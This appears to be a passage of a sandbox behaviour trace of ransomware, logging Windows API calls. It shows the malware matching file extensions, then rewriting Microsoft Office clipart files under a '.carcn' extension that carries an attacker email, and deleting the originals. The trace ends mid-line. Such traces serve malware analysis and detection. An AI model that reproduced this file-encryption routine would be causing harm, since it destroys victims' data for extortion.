[0297.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.109] lstrlenW (lpString=".dbf") returned 4 [0297.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString=".1cd") returned 4 [0297.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString=".jpg") returned 4 [0297.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString=".doc") returned 4 [0297.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString=".docx") returned 5 [0297.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.110] lstrlenW (lpString=".pdf") returned 4 [0297.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString=".xls") returned 4 [0297.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.110] lstrlenW (lpString=".xlsx") returned 5 [0297.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.110] lstrlenW (lpString=".ppt") returned 4 [0297.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString=".zip") returned 4 [0297.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.110] lstrlenW (lpString=".rar") returned 4 [0297.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString=".bz2") returned 4 [0297.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString=".7z") returned 3 [0297.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString=".dbf") returned 4 [0297.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.110] lstrlenW (lpString=".1cd") returned 4 [0297.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.111] lstrlenW (lpString=".jpg") returned 4 [0297.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.111] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.111] lstrlenW (lpString="BL00252_.WMF") returned 12 [0297.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.111] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=4708) returned 1 [0297.111] CloseHandle (hObject=0x36c) returned 1 [0297.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0297.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.111] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.112] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0297.112] GetLastError () returned 0x0 [0297.112] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1264, lpOverlapped=0x0) returned 1 [0297.113] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1270, lpOverlapped=0x0) returned 1 [0297.114] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.114] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.114] SetEndOfFile (hFile=0x390) returned 1 [0297.114] CloseHandle (hObject=0x390) returned 1 [0297.114] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.114] SetEndOfFile (hFile=0x36c) returned 1 [0297.115] CloseHandle (hObject=0x36c) returned 1 [0297.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0297.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.116] lstrlenW (lpString=".doc") returned 4 [0297.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.116] lstrlenW (lpString=".docx") returned 5 [0297.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.116] lstrlenW (lpString=".pdf") returned 4 [0297.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.116] lstrlenW (lpString=".xls") returned 4 [0297.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.116] lstrlenW (lpString=".xlsx") returned 5 [0297.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.116] lstrlenW (lpString=".ppt") returned 4 [0297.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.116] lstrlenW (lpString=".zip") returned 4 [0297.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.116] lstrlenW (lpString=".rar") returned 4 [0297.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.116] lstrlenW (lpString=".bz2") returned 4 [0297.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.116] lstrlenW (lpString=".7z") returned 3 [0297.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.116] lstrlenW (lpString=".dbf") returned 4 [0297.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".1cd") returned 4 [0297.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".jpg") returned 4 [0297.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".doc") returned 4 [0297.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString=".docx") returned 5 [0297.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.117] lstrlenW (lpString=".pdf") returned 4 [0297.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString=".xls") returned 4 [0297.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.117] lstrlenW (lpString=".xlsx") returned 5 [0297.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.117] lstrlenW (lpString=".ppt") returned 4 [0297.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".zip") returned 4 [0297.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.117] lstrlenW (lpString=".rar") returned 4 [0297.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString=".bz2") returned 4 [0297.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString=".7z") returned 3 [0297.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".dbf") returned 4 [0297.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".1cd") returned 4 [0297.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0297.117] lstrlenW (lpString=".jpg") returned 4 [0297.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.118] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.118] lstrlenW (lpString="BL00254_.WMF") returned 12 [0297.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.118] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1736) returned 1 [0297.118] CloseHandle (hObject=0x36c) returned 1 [0297.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0297.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.118] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.118] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0297.119] GetLastError () returned 0x0 [0297.119] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x6c8, lpOverlapped=0x0) returned 1 [0297.781] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x6d0, lpOverlapped=0x0) returned 1 [0297.783] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.783] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.783] SetEndOfFile (hFile=0x390) returned 1 [0297.783] CloseHandle (hObject=0x390) returned 1 [0297.783] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.783] SetEndOfFile (hFile=0x36c) returned 1 [0297.785] CloseHandle (hObject=0x36c) returned 1 [0297.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0297.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.786] lstrlenW (lpString=".doc") returned 4 [0297.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.786] lstrlenW (lpString=".docx") returned 5 [0297.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.786] lstrlenW (lpString=".pdf") returned 4 [0297.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.786] lstrlenW (lpString=".xls") returned 4 [0297.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.786] lstrlenW (lpString=".xlsx") returned 5 [0297.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.786] lstrlenW (lpString=".ppt") returned 4 [0297.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.790] lstrlenW (lpString=".zip") returned 4 [0297.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.790] lstrlenW (lpString=".rar") returned 4 [0297.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString=".bz2") returned 4 [0297.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString=".7z") returned 3 [0297.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.790] lstrlenW (lpString=".dbf") returned 4 [0297.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.790] lstrlenW (lpString=".1cd") returned 4 [0297.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.790] lstrlenW (lpString=".jpg") returned 4 [0297.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.790] lstrlenW (lpString=".doc") returned 4 [0297.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.790] lstrlenW (lpString=".docx") returned 5 [0297.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.791] lstrlenW (lpString=".pdf") returned 4 [0297.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.791] lstrlenW (lpString=".xls") returned 4 [0297.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.791] lstrlenW (lpString=".xlsx") returned 5 [0297.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.791] lstrlenW (lpString=".ppt") returned 4 [0297.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.791] lstrlenW (lpString=".zip") returned 4 [0297.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.791] lstrlenW (lpString=".rar") returned 4 [0297.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.791] lstrlenW (lpString=".bz2") returned 4 [0297.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.791] lstrlenW (lpString=".7z") returned 3 [0297.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.791] lstrlenW (lpString=".dbf") returned 4 [0297.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.791] lstrlenW (lpString=".1cd") returned 4 [0297.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0297.792] lstrlenW (lpString=".jpg") returned 4 [0297.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.792] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.792] lstrlenW (lpString="BL00524_.WMF") returned 12 [0297.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.792] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6996) returned 1 [0297.792] CloseHandle (hObject=0x36c) returned 1 [0297.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0297.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.793] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.793] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0297.794] GetLastError () returned 0x0 [0297.794] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1b54, lpOverlapped=0x0) returned 1 [0297.796] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1b60, lpOverlapped=0x0) returned 1 [0297.797] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.797] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.797] SetEndOfFile (hFile=0x390) returned 1 [0297.798] CloseHandle (hObject=0x390) returned 1 [0297.798] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.798] SetEndOfFile (hFile=0x36c) returned 1 [0297.799] CloseHandle (hObject=0x36c) returned 1 [0297.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0297.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.800] lstrlenW (lpString=".doc") returned 4 [0297.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.800] lstrlenW (lpString=".docx") returned 5 [0297.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.800] lstrlenW (lpString=".pdf") returned 4 [0297.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.800] lstrlenW (lpString=".xls") returned 4 [0297.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.800] lstrlenW (lpString=".xlsx") returned 5 [0297.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.800] lstrlenW (lpString=".ppt") returned 4 [0297.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.800] lstrlenW (lpString=".zip") returned 4 [0297.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.801] lstrlenW (lpString=".rar") returned 4 [0297.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString=".bz2") returned 4 [0297.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString=".7z") returned 3 [0297.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0297.801] lstrlenW (lpString=".dbf") returned 4 [0297.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.801] lstrlenW (lpString="C:\\Program Files\\Microsoft 